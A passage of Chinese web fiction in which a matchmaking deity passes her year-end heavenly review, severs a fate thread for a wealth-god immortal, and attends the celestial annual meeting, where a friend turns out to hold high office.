距离年底的天庭“年会”已经只剩一点点的时间了,与其回去休息、用至少一整个晚上加几个小时的时间来换一个百分百的状态,不如趁这段时间,先用百分之九十的状态,继续加班加点肝点业绩。 回程的车上,莺芝照例被红线小人缠着刷手机上网。 久违地打开软件,莺芝才得知这几天网络上这场风暴卷到了什么程度。 这么几天过去,大家聊的早就不是事件本身,而是从事件本身出发,引申延伸出的更多。 他们从各种不同方向来分析讨论,对事件本身进行另外角度的切入与剖析,最终得出某些反应当代社会现实的结论。 莺芝花了几个小时去大致地了解了一下,算是提炼出了几个当下大家讨论的重点。 首先,万措被当成典型挂出来了。 网友们把莺芝之前线下活动时的直播片段剪切了出来,从万措出现的最初,到他和莺芝相处时所说的一切话语,全都被剪出,做了个cut。 有人对他这段露面进行了两千多字的分析。 把他的特点一一点出:考究的着装、贵而不实在的早餐、所谓精英人士人人必备的品牌咖啡,很快能做出的高等数学题,即便被言语冒犯也依旧保持很好的涵养和体面…… 随后,这段直播cut外,网友们又恰好好处地接上了万措在村里时和莺芝等人交流时的cut。 两千多字的分析中,有理有据地总结出了一个因出身不好,所以努力向上爬,离开自己原本的圈子后,拼尽一切维持精致体面、圆滑的,极其在意他人目光的,表面自信自负、但底层逻辑是自卑,情感淡漠且利己主义的典型人设。 最后,该网友又结合了万措对莺芝描述的母亲与真实周双双形象的反差,一针见血点出了他在这整件事里明明贯穿全局、扮演着至关重要的角色,却偏偏趋近于无的路人存在感—— 于是乎,他性格中的淡漠与自私、自负与自卑,旁观与虚伪,就更加立体了。 有这样的几位分析向博主带头,几乎所有人对万措都持了负面态度。 只要一点进相关词条,就能看到各种负面言论,骂万措是个养不熟的白眼狼,是个吸妈妈妹妹血的“耀祖”,是个冷漠至极偏偏还想要给自己立孝顺人设的伥鬼,是个永远叫不醒的装睡的人。 千夫所指,万人唾骂,不外如是。 当然,也有少部分“人间清醒”站在万措这一方。 说他也是个被瞒在鼓里的可怜人,想要出人头地有错吗?一心只读圣贤书有错吗?他一己之力,为家里带去了不小的生活质量提升吧,怎么就对不起父母了? 更极端一点的,他们呼吁起让大家为周家夫妻和周双双着想一下。 他们的观点是:万措是他们老周家唯一的血脉了,不得好好养着,让为老周家传宗接代? 也是情理之中的,这部分人被更多人骂了个体无完肤,甚至比骂万措还狠。 说回万措,这次的风评波动中,就连莺芝的直播群,平时经常和QAQ聊天、彼此之间关系还算不错的网友里头,也有个别人不顾情面,直接出面痛斥他。 但是在这里,更多的,还是沉默的大多数。 平时和他相好的,分享生活、交流爱好的网络好友们,此时此刻,几乎都持了冷眼旁观的态度,不为他说话,不安慰他,甚至不去询问他最近是不是遇到了什么不好的待遇。 可谓是立场代换,让他好生体验了一番,也深刻明白,有些时候——不伸手,就等同于加害者。 尤其是对于亲近的人来说。 莺芝无言叹息,转向下一个大话题。 王诗蔓一方从未遮掩过自己被拐去了哪里,得到救助、决定要怎么做之后,他们在网络上可谓是知无不言。 有关部门为了避免影响大众,有些时候对这种事会捂着掖着,采取保密原则,但王诗蔓是受害者,没人有权利有资格要求她也保持缄默。 所以,从县城,到村子,再到具体的位置,那些害她落到那种境地的所有人和地点,被王诗蔓尽数公开。 这直接导致了,许多为周双双打抱不平、为周双双流泪叹息、对拐卖人口的买方卖方都深恶痛绝,心中郁气难平的网友们,私下组成了联盟。 他们要去村子里实地曝光那些村民、让所有人都清楚见到他们的嘴脸。 这种做法太偏激了。 虽然被有关部门紧急叫停,急令喝止,但还是有一部分人在密谋前往。 不过莺芝并没有担心这些人要是真的去了、发生冲突该怎么办。 因为接下来的一个事件,让这种去找场子一样的谋划从客观意义上告吹了。 对于村子那边而言,本该是少雨的冬季,忽然下了一场据说是几十年难得一遇的大雨。 雨势连绵,似天神垂泪。 在这场突如其来的冬雨中,有好几处发生了山体滑坡,把进出村子的山道公路直接掩埋了。 村子的具体情况外界不得而知,但所有人都知道,估计不会好到哪里去。 路都给埋了,村民们种的田和菜估计也没希望了,过冬烧柴的柴,也没法再去山上捡。 而且,村子本来就偏僻,这么一搞,就是实实在在的彻底和外界隔绝了,断了一切的外界补给。 虽然不一定真的会受到多少实质性的伤害和损失,但在这个节骨眼儿上…… 一种“这是老天给的报应”的说法也在网络上流传了开来。 周双双在哭,上天看到了周双双的事迹,为她出手,惩罚这些愚昧且坏的人。 果然是善恶有报。 莺芝摇摇头。 要真是上头在“打抱不平”的话……那这片儿的土地,今年的评比是要完蛋了,过去几十年的份儿,估计也得一块罚了。 玩忽职守空吃香火可不行。 当然了,除了这些事儿的讨论,网友们对莺芝的关注也少不到哪里去。 她的各个平台的个人主页信息提示早就已经爆掉了。 陌生人不能发私信,那就评论,艾特,陌生人只能发几条,那就紧着几条发,大家对她表现出了极高的热情。 不排除有一些听了她的事迹,想要高价求卦的。 他们的价位甚至能开到“百万rmb的香火”的档次,让随意扫了几眼的莺芝目瞪口呆,深感果然不论是天庭还是凡间,贫富差异都是一件悲伤的事。 不过感慨归感慨,这些五花八门的求卦信息看得莺芝那是一个眼前发昏。 求黄昏恋对象求财运求长生她还能理解——求让竞争对手拉屎只有半段纸错过开会、前男友变gay且找不到1、让追更的小说作者文曲星附体一晚写完50w……又都是个什么啊? 真的有神仙管的到这些吗? 乱七八糟的东西唰唰翻看着,这不短的一路竟也不知不觉就过去了。 莺芝回到自己的落脚城市,第一件事就是去到常去的庙里找月老像打坐,收收香火,调整状态。 庙里的人见她回来,都高兴得很,好说歹说非要请她吃顿庙里的餐饭 。 餐桌上,自然少不了一番关于这阵子里发生事情的询问,莺芝拣着能说的说了说。 庙里管事的向莺芝郑重其事鞠了个半躬,说是为她的英勇善良。 莺芝笑了笑,没多说什么。 没过两天,又一件事尘埃落定,为年末的各类聚会再添一份谈资。 梅仁兴,已判决,死刑。 万众叫好。 华晓识正面公开对莺芝发表感谢,莺芝的粉丝又迎来了一个爆发式的增长。 在凡间又待了几天,把欠观众的线上活动办完,莺芝踩着要开始年末大会的最后时日,回到了天庭。 她的生死关……唉,终于也要来了。 第79章 考核 “月仙大人,您先休息吧,文曲殿的使者明天下午才到呢。” 天庭,姻缘殿内。 红线小人和数个或真实或红纸剪成的鸟雀整齐划一地围蹲在莺芝的案桌边,七嘴八舌地劝着。 “嗯嗯,好好……” 莺芝含糊地应着,没顾得上理解它们在说什么,总之是头也没抬,专心致志地奋笔疾书。 文曲殿的使者明天就来了——明天就要来了! 今晚无论如何也得把工作总结写好才可以。 先对能够被调任到姻缘殿来工作表示荣幸,然后,详细叙述一下升职姻缘殿主事以来都做了什么,秉承着什么样的态度,未来还有什么工作计划…… 莺芝埋头苦写,凭借这么多年来积累的经验,熟门熟路地赶死线写报告。 红线小人一干灵物小助手们被她晾在桌边,只能你看看我,我看看你,最后各自散去,抱着自己的工作离开,也跟着加起了班。 上司都在点灯熬油了,作为小小员工,它们难道还能心安理得摸鱼吗? 唉,跟着一个卷王上司,也算是被迫参与内卷了。 值得庆幸的也就是,姻缘殿到底业务少,虽然出门在外在别的部门面前有点抬不起头,作为功德的工资也少,但有失有得,像现在这种时候,谁也没他们清闲嘛。 当然,这话不能说给月仙大人听,绝对会被训的——绝对! 莺芝这份报告一写就写了整整一个大夜。 初稿,复修,定稿……反反复复。 总算在第二天的中午得到了一份还算满意的成品。 通宵加班完成,虽然没有想象中的累,但莺芝总觉得有点饿,可能是在凡间大半年多养成了的吃饭习惯在作祟。 她没出门,简单弄了些糕点水果,一边吃,一边安心在姻缘殿里等待起了文曲殿使者的到来。 小鹊叽叽喳喳通报着使者登门时,莺芝还在拿着个囫囵的灵果啃。 把吃了一口的灵果放下,莺芝擦擦嘴,起身迎出去,见到那位使者后,忽然一愣。 来人是个样貌年轻的女仙。 她穿着文曲殿统一制式的裙袍,长发高挽,面容英气,气质却文雅。 莺芝可以肯定,这是她第一次见到对方,也是双方第一次的碰面。 但…… 怎么感觉有点眼熟? 来人已经笑了起来,几步走进,眉眼弯弯,颇显亲昵。 “哎呀,小莺,你好呀!” 红线小人蹦蹦跶跶,想表示抗议,又不好打断这样正式的会面交谈—— 小小使者,怎么可以称呼月仙大人“小莺”? 该叫莺芝上仙才对啊! 莺芝:“……” 没错了,自己确实和她接触过。 眼前这个女仙的一言一行,和记忆中那个仅有片刻交谈的女孩有点巧妙地对上,莺芝凝神细细感觉了一下,而后她的沉默几乎突破天际。 “……”这个仙子,她不光见过照片,还给观过缘。 准确地说,是通过对方的缘线,去看了一下她哥哥的缘线。 原来她竟然是天庭的神仙、还是大名鼎鼎文曲殿的神君? 那她的那位兄长想必也是神仙了,难怪看缘线是个上了年纪的人。 “看样子你是认出我来啦?我是文桐。” 文桐笑眯眯地:“不枉我特地抢了来姻缘殿的活——” “唉,最近太忙了,都没时间看直播了,偶尔刷一下手机才发现,这几天竟然发生了这么多的事。” 她自然地靠近莺芝,唏嘘:“你也实在是好忙啊,原本还以为我今天来见不到你,只能和殿里其他人交接呢。没想到你还回来了。” 莺芝还没完全从“我的观众是我的业绩高高高高高部门的同僚”中回过神来,就听对面这位已经自顾自地说了一大堆。 本质上是个不太擅长这种场面的人的莺芝默默了片刻,缓慢开口附和:“……嗯,赶回来了。” 文桐赞叹:“你也太热爱工作了吧!” 莺芝:“还,还好?” 太自来熟了,这位仙子她,她——是不是太自来熟了点啊? 自己一个应该算是非常外向了的人都被比得如此之内向…… 而且,把凡间交际的事情忽然这么说出来,用凡间的话来说,这不就是网友奔现、掉马甲现场吗? ……她都不尴尬的? 文桐兀自寒暄着: “嗯、这件事的中心,就那个村子——那里的年终检查已经结束了,据亲自去验收工作的神君说,那边地区民众幸福度低、而且这阵子收到的投诉非常多。给他们土地的罚单已经发下去了,年末考核不合格。” 莺芝眼睛一亮:“——真的?罚了什么?” 文桐挑挑眉毛,忽然来了个急刹车:“先进去再说嘛,我还没来过姻缘殿呢,不先让我进去看看?” 莺芝:“……” 差点忘了,这位是来检查他们工作的。某种程度上,可是绝对不能怠慢的“监察部”的大人物。 暗暗提醒了自己几句,莺芝迅速整理好情绪,压下了先前被对方提到的事情勾起来的好奇心,进入到工作状态。 她做了个引路的手势,让开道路一边:“请进。” 两人前后落了半步,几乎是肩并肩地行走着。 文桐饶有兴致地打量着姻缘殿里的一切,花园,小径,山石,流水……每每看到一处新奇的,都还要感叹一下,毫不吝惜赞美之词。 只不过她这种仿佛是来参观踏青一样的作态,让莺芝几次三番想要开口谈谈工作、或者稍微打探一下今年的评分标准,都没能找到机会。 莺芝:…… 好一个滴水不漏的神君! 果然是文曲殿出来的,肯定没少应对这种事,老油条啊。 说话间两人逛了一圈,来到主殿,红线小人在莺芝的示意下出面,带文桐入座,一排排鸟鹊纸人也都开始上茶上点心。 文桐可能是说太多话,捧起茶直接干了一杯。 还没 见过谁是这样喝茶的,莺芝目瞪口呆。 末了,却见文桐又摇摇头:“下次我给你送一些好喝的茶,我哥、——我那里收藏了很多,香甜清心养气提神,什么样的都有,不用客气!看看喜欢喝哪个,我再下回多送点过来。” 莺芝:“……谢谢。” 所以,这位到底是来谈工作的还是聊八卦的还是单纯找朋友玩的啊? “这是姻缘殿的工作日……” “——哎呀不急,先聊聊天!”文桐把怀里一直抱着的,一本厚厚的文书,放在了自己手边的小案上。 莺芝:“可……” “你不是问那个土地被罚什么了么?” 莺芝:“……是。” 这个是真想知道。 文桐兴致勃勃:“我悄悄跟你说哦,他这三十年的功德全被扣了,还得再补缴十年的做惩罚。” 三十年白干,还得再倒罚十年? 好狠。 莺芝由衷感叹。 但是想想周双双,王诗蔓,以及其他被那里的人们摧残的无辜性命…… 作为一地地方神,起不到监察作用,睁只眼闭只眼的,被罚也确实不亏。 文桐:“而且,作为被百姓举报最多的那个根源、也就是那个村子,未来的三年里都会经受一定程度的小天灾,生计虽然可以维持,但生活水平却是难说——雷公给的第一场雨已经落下了,也算是给他们一点警示,希望他们早日醒悟,行善积德吧。” 果然是这样。 那场不合时宜,突然降临,却局限于一城一地的大雨,还真是天庭的手笔。 降灾示警,天庭一贯的手段。 不过天庭的动作……还挺快啊? “好了,那闲话说到这里——” 文桐的交流欲得到完美地释放,高高兴兴地切入了下个话题,“我看看你们的工作日志。” ——终于要来了。 莺芝点点头,几个小鹊闻声飞来,衔出一册又一册日志本放到文桐身边。 红线小人抱着莺芝最终完成版的工作总结,放在了最上边。 文桐抱起她带来的那本书,驱使灵力操控,点点灵力光芒进入书本,又化作卷卷竹简铺开散出,延伸入堆放成一沓的姻缘殿工作日志。 密密麻麻的字符散开又重组,散布在文桐周身,她闭上了眼。 莺芝目不转睛地看着,心跳咚咚,忽然有些紧张。 这不是她第一次见到文曲殿的神君们来进行年终检查了,但这还是第一次见到神君们当着她的面进行检查,第一次亲眼看着他们施法、收集检视自己的工作记录。 更是她第一次以一殿主事的身份来迎接这种检查。 据她自己预估,姻缘殿的业绩整体是呈上涨趋势的,虽然不算太多,但也是涨了。 所以结果……应该不会很差劲吧? 文桐这一坐就是两个时辰。 等她周身灵力光芒稍稍散去,正在完善接下来工作计划的莺芝嚯地抬头,略有些忐忑地看了过去。 文桐睁开眼,猛地呼出口气。 红线小人机敏地重新端上一杯热茶。 文桐收起大书,收起灵力。 莺芝:“如果日志中内容太杂,还有工作总结,仙子可以看一看。” 文桐闻言,略有些惊讶,却很快又被一种似乎意料之中的神情给取代。 她拿过莺芝写了一整晚的工作总结,仔细地观看了一遍。 “……你果然好热爱工作啊。”文桐不由地感慨。 莺芝不太好意思地咳嗽了一下。 “也,也还好……?分内之事。” 分内之事?不不不,这可不是。 其他殿其他部门也有人会写这种东西,但多是那些想要在这个年终考核里发光发热一把、让上司看到他的努力,尽可能升职的基层小神君们会写。 哪有都做到一殿主事了,还辛辛苦苦费劲巴拉写这玩意儿的? 然后,他们哪怕是稍微往上爬了爬,做到了副主事或其他小有地位的岗位——就基本都会直接把工作日志推给文曲殿,让文曲殿自己查看。 反正不管多复杂多麻烦,都是文曲殿该做的活。 他们才不愿意多干。 想到这儿,文桐看莺芝的眼神都有种肃然起敬的意味了。 又聊了几句,她笑着道:“好了,考核完成——恭喜,今年的工作合格了。” 莺芝松了一口气。 合格—— 第一关算是过了! 万一不合格,跟那个土地一样的话——那连继续参与年终评比的机会都没有。 “香火整体呈上涨趋势,较之过往数年要出色许多,香客投诉率低于一定数值,大体属满意——” 文桐笑着道:“这是目前能告诉你的,后续的评比,具体的规则,殿内还在商讨,不是目前能对外公开的。” “不过你也不用着急,等后日的大会就知道了。” 莺芝点点头。 后天,年终评比大会,表彰会,天庭各部门的年会,就要举行了。 过去的一年是白努力还是劳有所获,接下来的一年到底能不能抬起头来,届时就见分晓了。 “对了,你是今年才升上来,应该还没参加过这个大会——这不是寻常宴会,不用特地打扮,放心,不会有人觉得是怠慢和失礼,穿工作服就可以了。也不用很早到,卡点就行。” 把工作日志留下,文桐带上莺芝写的工作总结,离开的路上,又说了许多很细微的大会事宜,莺芝对她的贴心深表感激。 送对方离开,莺芝转身,准备回去继续工作。 “——上仙留步。” 莺芝循声看去,一位身着浅色长裙,行走间带有金色流光闪烁的仙子正缓步走近。 “听闻上仙归来,我便贸然登门了,希望没有打扰到您。” 认出来人是谁,莺芝含笑驻足。 “仙子,别来无恙。” 第80章 断缘 浅色裙裳摇曳生漪,淡金光华丝丝流动。 虽然都是寻常素净的颜色,在组合在一起却无论怎么看都有种逼人的金光灿灿之感—— 可不正是财神殿的标配么? 来人正是朱顶。 她身上那股如影随形的“富贵味儿”,在凡间时还没这么明显,一回到天庭,有了充盈的灵力加持,效果简直翻了不止一倍。 散发着浓浓的,香火拌功德的美妙气味。 莺芝略略有些艳羡地多感受了几下那种气息,面上神色如常地和朱顶打起招呼。 “近些时日一直在各处辗转,没能第一时间前来面见上仙,只能让他人代为传话,实是失礼。” 朱顶敛首施礼,神色恭敬。 她的笑容比起在凡间相遇时要稍微拘束一些,少了些矜傲,多了点下位仙君对上仙的谦卑。 这种转变让莺芝颇有点不自在。 特别是和刚刚离开的文桐一比,就更明显了。 都是在天庭数一数二的大部门工作的小仙君,也都是和她有过短暂交集的仙子,她们虽然都不拿大部门仙君在外的架子,但一个随意得过了头,一个又恭谨疏离得仿佛只剩下了下位者对上位者的态度,两个人简直是两个极端。 短短时间内和两个人反差这么大的人相处,简直冰火两重天,莺芝无声叹了口气。 “没有关系,本来也就是我忽然找上你,你能在百忙之中还抽空来找我已经很好了。” 朱顶道:“年终考核已过,所有工作都已暂告一段落,不算忙了。” “也是,财神殿的考核顺次应该是放在最前的。”莺芝笑道,“那先和我进去坐坐?” “好。”朱顶颔首。 两人一路并行往里,朱顶步履间仪态端方,目不斜视,完全不似头回到这里一样,倒是姻缘殿的小鹊鸟纸人们热情得不行,一个个挨着挤着朝她们看。 姻缘殿太冷清了——这么冷清的姻缘殿,一天之内竟然连着来了两拨客人! 还都是风姿绰约的仙子,它们自然是新奇又欢喜。 好在不管是对它们也表示了同样好奇的文桐,还是始终不露好奇的的朱顶,都不在意它们的失礼,不然莺芝这脸马上都要丢到半个天庭了。 等到两人在主殿落座,鹊鸟在场面的寒暄之中熟门熟路奉上茶点。 “之前给到仙子的口信中并没有说清所为何事,事情的原委是这样的——” 看朱顶礼貌地捧起细呡了几口后,莺芝才结束闲聊,切入正题。 “不知道仙子还记不记得之前在凡间时遇到的那个自称摄影师的男性?” 可能是没想到莺芝会提起这个,朱顶似乎意识到了什么,微微一怔,旋即点头道:“记得——” 莺芝留意观察了一下,发现朱顶神色如常,说是记 得,但表情看起来就好像是提到陌生人一样,没有丝毫波动。 “他求助于我,要我帮忙打探一下你的现状。” 其实是让我来找你回消息。莺芝悄悄补上了后半句。 朱顶没有立即回答,她沉吟了片刻,似在思索。 而后,她抬起头,看向莺芝: “可否请月仙为我观一观缘?” 这次,轮到莺芝怔住了。 观缘? 朱顶难道是觉得……她和那个凡人男性……会有“缘”产生? 凡与仙不同,凡人之间哪怕擦肩而过,也有产生“缘”的可能,但仙者寡淡,一般的“缘”很少能在他们的缘线中生根。 除非是仙人的主观意愿也产生了倾向,才有这个可能。 朱顶这么请求…… 只可能是她也拿不准自己的缘线是否发生变化、也就是说,她对那个凡人男性,多多少少动过一些心。 厘清因果后,莺芝震惊之余,眼睛都亮了。 要是能为一位仙人成功牵线……那功德和业绩比得过她在凡间努力一整年了! 如果朱顶没有意愿,那她肯定是不会有这个想法的,只会给那名男性公正的结果,但如果朱顶也有心思,这就是一桩美事了。 找上门的业绩诶。 就是不知道,仙人和凡人之间的缘——到底能不能算是“正统”的“仙缘”? “当然可以。”莺芝一口应下。 朱顶好似松了口气:“多谢月仙了。” “分内之事。” 莺芝压着翘起的嘴角,招出姻缘簿与点缘笔,以灵力做墨,提笔在翻开的姻缘簿上凌空写下朱顶的信息。 随后,她阖上双眼,催起灵力。 红线小人化为原型,在莺芝指尖随着灵力盘旋转动。 殿内寂静无声,唯余灵力流转的丝丝声响。 数息之后,莺芝睁开眼。 “——你与他有缘。” 虽然不算深,似乎是刚刚生了个芽芽就暂停了,但确实存在。 莺芝含着不甚明显的期待看向朱顶,等待着她的下文。 是要牵线吗? 说起来,仙人与凡人的姻缘若成,那多半是仙人拟一个化身身份下界,暂停在天庭的一切职务,与凡人度过一生、了却因果后,复可归天庭。 这种,大概也不能算是仙缘了吧? “……”朱顶秀眉微蹙,沉默了片刻,下定决心般摇了摇头。 “请月仙为我断缘。” “嗯——……嗯?”莺芝疑惑。 朱顶却好似放下了石头,方才的些许犹豫和思考都被抛诸脑后,重新回到了一开始的样子。 “这段缘与我而言,非蜜糖,更似砒霜。” 莺芝做出洗耳恭听的姿态。 朱顶也不掖着,坦白道:“初时我与他相识,您也在场——彼时他以为我拍摄为由,蓄意接近。我初至下界,还未掌握于凡人相交的度,一时推脱不过,便只能应下。” “他的作品很有些灵性,我很喜欢,对他的才情也很是欣赏。” “但言谈间,他总会流露出打探我来处、背景的意思。我以寻常凡人家庭为答,他虽有掩饰,却也可见失望。” 朱顶摇头:“我为财神殿神君,不可避免带有殿内气运,与之相交不久,他便以我的照片收获一笔不菲的资金。随后,他更加频繁地邀我同行游玩,设计各类不同的‘拍摄主题’,我一一拒绝,此事便不了了之。” “我想,或许比起我本人,他更在意的是我身后可能存在的‘家族’,是我能够为他带来的‘收入’。” “坦言之,这份认知让我一度不愉——” 朱顶道:“刚好年末已至,我便卸了巡查检视的职,自请担了外放去南海区域分殿的任务。” “而且即便我与他缘分匪浅,他性情品格皆无缺,我也决计不会为了他而下界。于我而言,工作与自我,才是最为重要的。” 莺芝懂了。 朱顶的意思是说,那个凡人,一开始接近她,可能都是因为觉得她是什么“千金”大小姐,之后的相处里,也总打探她背景,想看看是不是真的富二代—— 而抛开这些不谈,他沾了朱顶的运,发了一笔横财,于是就想要继续薅朱顶,用朱顶赚钱。 朱顶因为看清了现实,不可不免地感到了不开心。 而为了让自己开心点,她选择快刀斩乱麻。 没有谁配得上让她心情不好,她也绝对不会为了谁而抛弃自己的工作。 清醒,有决断,知道自己要的是什么。 这是朱顶。 “好。”莺芝没再多说,直接应下。 虽然这桩仙凡姻缘还没开始就结束了,会让她稍微有一点点的失望,但她向来尊重求缘者的意愿,更别提听完朱顶的话后,她也觉得那个凡人不配。 眼光倒是挺好,一眼看出了朱顶是大“财”之人,可惜人品不行,想着赖上一个富姐、知道不是之后,又想用她去赚钱? 糟烂。 他如果好好对待朱顶,正常地和朱顶相交,即便不谈恋爱,没有后续——只是沾染一下朱顶所带有的运道,都能让他这一辈子衣食无忧了。 可惜,人心不足。 说起来这些日子在凡间见到的,品行上佳的男性,真的太少了……而一般品行好的男性还都已经有了好的归宿,或更愿意独身,对缘分也不过分渴求。 难怪求姻缘的凡人少了。 连仙人偶动凡心,遇到的都能是垃圾男…… 都是这种人的话,那能不少么? 莺芝暗自感叹,取出断缘剪,看向朱顶。 朱顶安静地坐着,如一只优雅的长颈鹤,矜淡端方,恭谦有礼。 接收到莺芝的询问之意,她重复了一遍先前的话: “请月仙为我断缘。” 莺芝不再询问,催起灵力,在朱顶身前凌空捏起一根无形的线,合剪。 “好了,此事已了。” 她收起剪子,对朱顶道:“预祝你之后事事顺遂。” 什么姻缘美满……哪怕是作为姻缘仙,现在也祝不出口啊! 朱顶弯起眼睛:“多谢,您也是。” 送走朱顶,莺芝归拢起因帮助仙人而产生的功德,继续进入工作状态,完善起接下来的《凡间工作计划》。 ——是的,不止牵线有功德,断缘也有,虽然不多,但聊胜于无,好歹有一点。 对于莺芝来说,一点点也是有,都得好好收着。 接下来的一天,莺芝没有再下凡,先前已经给直播间请过假,这几天她都会安安稳稳待在天上。 又窝在姻缘殿里整了一整天的过往旧务,天色将黑时,莺芝起身,带着红线小人一道离开了姻缘殿。 两刻钟后,送子殿门口。 莺芝被一棵石榴树伸出的枝丫礼貌拦下,告知其内并无“文隽仙君”。 莺芝:“……” 她是想着来小小还一下堆积成山的人情,请他去吃顿仙餐,都已经做好了大出血的准备了来着……结果找不到人? 红线小人坐在莺芝肩头,一脸严肃:“月仙大人,我们会不会找错了,这里不是送子殿?” 伸出送子殿大门的石榴树枝丫闻声连连摇摆,几片叶子哗啦啦作响: “——如假包换的送子殿!” 莺芝:“……” 知道了知道了,门上不都写着呢,那么大三个字,她还是识字的 。 但是送子殿没有文隽? 是这棵石榴树不认识他、记错了,还是——他不是送子殿的?! “这个只会偷懒的摸鱼狂……怎么还消失了!”红线小人义愤填膺。 回程路上,莺芝同样陷入了沉思。 先还一点人情的计划作罢,她们只能暂时回殿,安心等待第二天的大会。 一夜静谧。 翌日,仙鸟伴着晨露飞来,叩响姻缘殿大门,把帖子送了进来。 莺芝仔仔细细把帖子给看了好几遍。 没什么特别的,就是一个“凭帖入内”的帖子而已,顺便写了一下大会开始的时间、一些简单的事项。 唯一的问题是…… “帖子上说,需要一殿主事带着一位副主事共同前往参会。” 除此之外,还可带上三到五名业绩上佳的仙君,以作对他们的嘉奖。只不过领奖时寻常仙君不能登台而已。 莺芝看向自己殿里的一干鹊鹊燕燕——还有纸人儿线人儿。 她们姻缘殿落魄至此,只有一个主事……根本没有副主事啊!更别提其他的仙君了。 红线小人自告奋勇,高高跳起: “我!月仙大人!我!!” 担任和月仙大人一起出席年终大会、充当副主事的这种重要大事,舍它其谁? 一众鸟鹊纸人们互相看看,默契地齐刷刷冲上,不由分说和红线小人战作了一团。 机会当前,谁赢了谁去! 莺芝:“……” 算了,随它们闹去吧。 帖子上还说了“请以人形态进入”的事……就先不和它们说了。 临近大会开席时间,莺芝换好干净的姻缘殿主事袍服,带好令牌和帖子,带上线都快抽丝的红线小人,离开了姻缘殿,赶往大会现场。 参与争斗的一干小仙灵里,没一个会化人形的,都不能以副主事的身份参会,想要前往的话……鸟鹊是没办法了,红线小人也只能老老实实爬上莺芝手腕当个装饰品,连小人儿的形态都不能保持,才可勉强入内。 过了会场门口的检查,莺芝收起帖子,瞥见手腕上明显想要扭动活跃打量四周的红线,忍俊不禁垂下袖子,任由宽袖把它重新盖住。 想待在里头,还是收着点好奇心吧。 举办大会的场地是天庭一处相当华美恢弘的大殿,以莺芝以往的身份,从来没有踏入这里的资格——由此可见其规格。 她记着文桐的提点,到的并不早,殿里已经有了一些人在了。 天庭部门众众,哪怕只是主事副主事,外加三五个寻常仙君,这么齐聚一堂……也成了人海。 莺芝一眼看过去,没有一个是认识的。 她之前做的都是寻常的工作,认识的仙们也多是在底层或基层工作的,哪能结识这个层次的仙君们啊。 自然,也没其他仙君认识她,大家和相熟的仙人们坐在一起,各说各话,没谁来找她搭话的。 对现实心知肚明,莺芝也不紧张,反正当惯了小仙君,对这种情况再习惯不过了——她找了个没人的位置,自行入座,开始挨个品尝桌上摆放好的仙果仙茶。 难得有机会,这种规模宴会的食物,都是最高级别的,又不要功德,先吃再说。 红线小人在她手腕上蠢蠢欲动,又不敢动弹,只能老老实实待着。 随着时间推移,殿内的人越来越多,莺芝安静地享受着自己的美食。 “你怎么不喝酒?这次的仙酿是仙果园特地从东海取来的灵果酿造而成,据说还加了拂晓的仙露,味道很是不错。” 一道熟悉的声音飘来,莺芝侧眸,正见文桐在旁边坐下。 她今天换了一套制式复杂的衣袍,不同于先前那套简单的,素蓝的长袍上花纹繁复,灵力浮动间,隐隐有着重叠的字符闪烁其中,显现其时,整个衣摆都好似化作了文字构成的海洋,阔而浩渺。 不愧是大殿……连工作服都这么低调奢华,莺芝不由赞叹。 话说回来,文桐竟然也在此次文曲殿来参会的名额中——也对,她之前还提点自己呢,显然是对大会不陌生。 不过作为经常能参加大会的仙君,文桐也太没架子了,好相处,真不错。 “我很少喝酒。”收起胡思乱想的思绪,莺芝礼貌回应。 文桐却好似察觉到了她的注视,笑嘻嘻地道:“我也穿不习惯这套工作服,但是这不是代表着我们殿的颜面么,虽然不能登台领奖,也不能太随心所欲啊——” 这话的意思是,她不是主事,也不是副主事? 莺芝若有所思,点点头,真心实意地称赞:“很适合你。” 文桐更高兴了,眼睛都弯成了月牙。 “比不上你们姻缘殿的主事服呀!很少见你穿这么正式,很有姻缘仙的样子哦~” 莺芝也笑:“谢谢。” 两人你一言我一语,随意地聊着,直到一声悠远的钟声自前方高处传来。 “天庭年终大会——正式开启!” “请各殿主事、副主事至最前方集合——依照去岁排名,顺次站位!” 那道声音落下,文桐就笑眯眯地对莺芝道:“好啦,你快去吧!我在这里等你哦,一会儿回来吃饭~” 莺芝颔首,起身,越过她往前方走去。 此殿很大,路途很长。 走出宴席区,到前方宽阔地的末尾,莺芝站定。 去年姻缘殿倒数……在这里等着就行了。 接下来就是等待了。 等其他各殿往前,把前边站满…… 莺芝寻常地打量着前方。 从前往后。 哇,金光闪闪的,财神殿的老大和副手…… 哇,和文桐衣服差不多风……——等等。 那个人怎么有点眼熟?魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 颁奖 神仙们的秩序还是很可以的,不消半刻,各殿的主事副主事便都齐聚一堂,在前方集合。 队伍分了两列,一二以从左至右的顺序排列,三四另起一行,以此往后。 莺芝缀在队伍的末尾,视线始终锁在对面队伍最前方。 ——金光灿灿财神爷,碧绿康健药王仙……常年位居天庭大热部门、为旁人所艳羡钦佩的几位大能们,正一团和气地在那儿交谈着,靛蓝长衫的文曲星君自然也在其列。 而莺芝视线所着落的,正是站在那位长须美髯文曲星君身边的一道身影。 那人衣服和文桐的很像,同样繁复层叠、如同浩瀚文海的袍衫,但颜色上要比文桐的深一些,比文曲星君的浅一些,应该是职位的区别…… 不过这都不重要。 重要的是—— 如果没看错的话,那有点偏瘦却不显文弱的身量,一站一走间斯文挺拔的气质,和旁边人交谈时微微偏过头认真倾听的习惯……怎么看都有点熟悉啊? 莺芝偏头再看,自己身边,一个身着火红石榴裙头戴石榴花的女子正站在那儿,懒懒散散地打着哈欠,一副对这种场面很不上心的样子。 嗯,这位是榴仙,送子殿的主事。 倒数的他们几位确实凑堆在这边了,说明队伍没站错。 那—— ……文隽怎么跑财神和药王身边去了? 还穿着和文曲星君差不多款式的工作服?! 莺芝凝重地看了一会儿,一直看到对方似乎都察觉到了有人在看他,才神情复杂地一闭眼,撇开头去。 天庭神仙排位,向来只看业绩。 她都不用数,也知道自己当下的位置和对方那里相隔了多远。 好家伙…… 那么短短的一会儿时间里,莺芝心中有一万头天马疾跑而过。 她拿他当一起为业绩发愁的难姐难弟,结果他非但默认了不说,竟然还一直不澄清,任由她这么误会下去。 而且、而且——摆出一副不想工作的咸鱼作态,结果转头就偷偷内卷……! 文曲殿的工作啊! 那是不卷就能做的工作吗!? 难怪每次自己提议要帮他顺带宣传一下顺带帮忙提提业绩的时候, 他总是拒绝。 人都不是送子殿的! 而且都已经把自己都卷到文曲殿副主事了,还用得着她帮么! 原本还想着这次再手拉手在倒数做朋友了该怎么鼓励他呢…… 莺芝心里那个五味杂陈,百感交集,感慨万千,无语凝噎—— 唉。 